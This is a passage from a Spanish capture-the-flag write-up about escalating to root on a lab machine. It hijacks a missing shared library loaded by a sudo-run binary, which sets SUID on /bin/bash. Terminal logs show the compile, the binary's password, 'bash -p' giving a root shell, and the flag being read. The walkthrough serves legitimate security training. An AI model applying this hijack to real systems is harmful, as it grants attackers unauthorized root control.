Ya que **esta ruta borra** los archivos de forma muy rápida, hay que guardar el archivo **nano** e introducir seguidamente el siguiente comando **gcc -shared -o libcounter.so -fPIC libcounter.c** después se ejecuta el archivo **stock** con **sudo /usr/bin/stock** y se introduce la contraseña, esto le otorga permisos **suid** a la **bash**.

Esto pasa porque el archivo que llama por detrás a la librería que antes no existía y ahora existe con nuestro código para dar permisos, ejecuta inmediatamente la función creada.



```
rektsu@zipping:/home/rektsu/.config$ ll
total 8
drwxrwxr-x 2 rektsu rektsu 4096 Jan 20 05:52 .
drwxr-x--x 7 rektsu rektsu 4096 Aug  7 12:00 ..
rektsu@zipping:/home/rektsu/.config$ nano libcounter.c
rektsu@zipping:/home/rektsu/.config$ gcc -shared -o libcounter.so -fPIC libcounter.c
rektsu@zipping:/home/rektsu/.config$ ls -l
total 20
-rw-r--r-- 1 rektsu rektsu 171 Jan 20 06:11 libcounter.c
-rwxr-xr-x 1 rektsu rektsu 15560 Jan 20 06:11 libcounter.so
rektsu@zipping:/home/rektsu/.config$ sudo /usr/bin/stock
Enter the password: St0ckM4nager

===== Menu =====

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: ^C
rektsu@zipping:/home/rektsu/.config$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1433736 Oct  7 2022 /bin/bash
rektsu@zipping:/home/rektsu/.config$
```

Por lo tanto como el propietario a nivel de sistema es **root**, nos otorgamos privilegios mediante el comando **bash -p** y nos da una consola privilegiada, donde nosotros somos **root**.



Segunda flag

Teniendo ya privilegios de root, vamos al directorio **/root/** y dentro de este nos encontramos dentro del archivo **root.txt** con la segunda Flag -> **3c224e6bae375392f733cae2d1886538**

```
rektsu@zipping:/home/rektsu/.config$ whoami
rektsu
rektsu@zipping:/home/rektsu/.config$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1433736 Oct  7 2022 /bin/bash
rektsu@zipping:/home/rektsu/.config$ bash -p
bash-5.2# whoami
root
bash-5.2# cd /root/
bash-5.2# ls
root.txt
bash-5.2# cat root.txt
3c224e6bae375392f733cae2d1886538
bash-5.2# echo "Pawned by Kr31tos | 20 January 2024"
Pawned by Kr31tos | 20 January 2024
bash-5.2#
```



PWNED!!